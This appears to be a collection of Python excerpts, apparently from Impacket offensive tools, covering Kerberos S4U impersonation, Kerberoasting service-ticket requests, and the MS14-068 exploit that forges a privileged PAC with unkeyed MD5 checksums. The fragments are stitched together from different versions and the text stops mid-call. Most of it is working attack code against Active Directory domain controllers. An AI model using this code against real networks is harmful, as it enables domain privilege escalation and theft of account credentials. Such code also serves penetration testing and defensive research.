def run(self): # Do we have a TGT cached? tgt = None try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) if creds is not None: # ToDo: Check this TGT belogns to the right principal TGT = creds.toTGT() tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] oldSessionKey = sessionKey logging.info('Using TGT from cache') else: logging.debug("No valid credentials found in cache. ") except: # No cache present pass if tgt is None: # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: # Here's the rock'n'roll try: logging.info('Impersonating %s' % self.__options.impersonate) tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) if str(e).find('KDC_ERR_BADOPTION') >= 0: logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs,oldSessionKey)
def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): from pyasn1.codec.ber import encoder, decoder from pyasn1.type.univ import noValue """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises an Exception if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False if useCache: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception as e: # No cache present print(e) pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') logging.debug('Domain retrieved from CCache: %s' % domain) logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self.__target.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') else: logging.debug('No valid credentials found in cache') else: TGS = creds.toTGS(principal) logging.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split(b'@')[0].decode( 'utf-8') logging.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'].decode( 'utf-8') logging.debug('Username retrieved from CCache: %s' % user) # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) # Done with the Kerberos saga, now let's get into LDAP # try to open connection if closed if connection.closed: connection.open(read_server_info=False) connection.sasl_in_progress = True response = connection.post_send_single_response( connection.send('bindRequest', request, None)) connection.sasl_in_progress = False if response[0]['result'] != 0: raise Exception(response) connection.bound = True return True
def run(self): if self.__doKerberos: self.__target = self.getMachineName() else: if self.__kdcHost is not None: self.__target = self.__kdcHost else: self.__target = self.__domain # Connect to LDAP ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) # Building the following filter: # (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) # (servicePrincipalName=*) and0 = ldapasn1.Filter() and0['present'] = ldapasn1.Present('servicePrincipalName') # (UserAccountControl:1.2.840.113556.1.4.803:=512) and1 = ldapasn1.Filter() and1['extensibleMatch'] = ldapasn1.MatchingRuleAssertion() and1['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId( '1.2.840.113556.1.4.803') and1['extensibleMatch']['type'] = ldapasn1.TypeDescription( 'UserAccountControl') and1['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion( UF_NORMAL_ACCOUNT) and1['extensibleMatch']['dnAttributes'] = False # !(UserAccountControl:1.2.840.113556.1.4.803:=2) and2 = ldapasn1.Not() and2['notFilter'] = ldapasn1.Filter() and2['notFilter']['extensibleMatch'] = ldapasn1.MatchingRuleAssertion() and2['notFilter']['extensibleMatch'][ 'matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803') and2['notFilter']['extensibleMatch'][ 'type'] = ldapasn1.TypeDescription('UserAccountControl') and2['notFilter']['extensibleMatch'][ 'matchValue'] = ldapasn1.matchValueAssertion(UF_ACCOUNTDISABLE) and2['notFilter']['extensibleMatch']['dnAttributes'] = False searchFilter = ldapasn1.Filter() searchFilter['and'] = ldapasn1.And() searchFilter['and'][0] = and0 searchFilter['and'][1] = and1 # searchFilter['and'][2] = and2 # Exception here, setting verifyConstraints to False so pyasn1 doesn't warn about incompatible tags searchFilter['and'].setComponentByPosition(2, and2, verifyConstraints=False) resp = ldapConnection.search(searchFilter=searchFilter, attributes=[ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl' ], sizeLimit=9999) answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 for attribute in item['attributes']: if attribute['type'] == 'sAMAccountName': if str(attribute['vals'][0]).endswith('$') is False: # User Account sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif attribute['type'] == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) elif attribute['type'] == 'memberOf': memberOf = str(attribute['vals'][0]) elif attribute['type'] == 'pwdLastSet': pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime(int(str(attribute['vals'][0]))))) elif attribute['type'] == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append( [spn, sAMAccountName, memberOf, pwdLastSet]) if len(answers) > 0: self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet" ]) print '\n\n' if self.__requestTGS is True: # Let's get unique user names an a SPN to request a TGS for users = dict((vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.iteritems(): try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, fd) except Exception, e: logging.error(str(e)) if fd is not None: fd.close()
def run(self): if self.__doKerberos: target = self.getMachineName() else: if self.__kdcHost is not None and self.__targetDomain == self.__domain: target = self.__kdcHost else: target = self.__targetDomain # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) else: raise # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s))' % self.__requestUser else: searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=999) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"]) print('\n\n') if self.__requestTGS is True or self.__requestUser is not None: # Let's get unique user names and a SPN to request a TGS for users = dict( (vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.items(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('SPN: %s - %s' % (SPN,str(e))) if fd is not None: fd.close() else: print("No entries found!")
class MS14_068: # 6.1. Unkeyed Checksums # Vulnerable DCs are accepting at least these unkeyed checksum types CRC_32 = 1 RSA_MD4 = 2 RSA_MD5 = 7 class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', copyFile=None, writeTGT=None, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__rid = 0 self.__lmhash = '' self.__nthash = '' self.__target = target self.__targetIp = targetIp self.__kdcHost = None self.__copyFile = copyFile self.__command = command self.__writeTGT = writeTGT self.__domainSid = '' self.__forestSid = None self.__domainControllers = list() self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash = unhexlify(self.__lmhash) self.__nthash = unhexlify(self.__nthash) def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'),) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print ('\n') validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents() validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = str(pacClientInfo) pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = '\x00'*16 serverChecksumBlob = str(serverChecksum) serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = '\x00'*16 privSvrChecksumBlob = str(privSvrChecksum) privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str( privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str( pacClientInfo) + pacClientInfoAlignment buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = str(pacType) # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) # If you want to do MD4, ucomment this #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() # If you want to do MD5, ucomment this serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = None authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value) authorizationData[0]['ad-data'] = str(pacType) return encoder.encode(authorizationData) def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = None ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype,)) reqBody['enc-authorization-data'] = None reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = None tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey def getForestSid(self): logging.debug('Calling NRPC DsrGetDcNameEx()') stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_NRPC) resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) forestName = resp['DomainControllerInfo']['DnsForestName'][:-1] logging.debug('DNS Forest name is %s' % forestName) dce.disconnect() logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_LSAT) resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = hLsarQueryInformationPolicy2(dce, policyHandle, 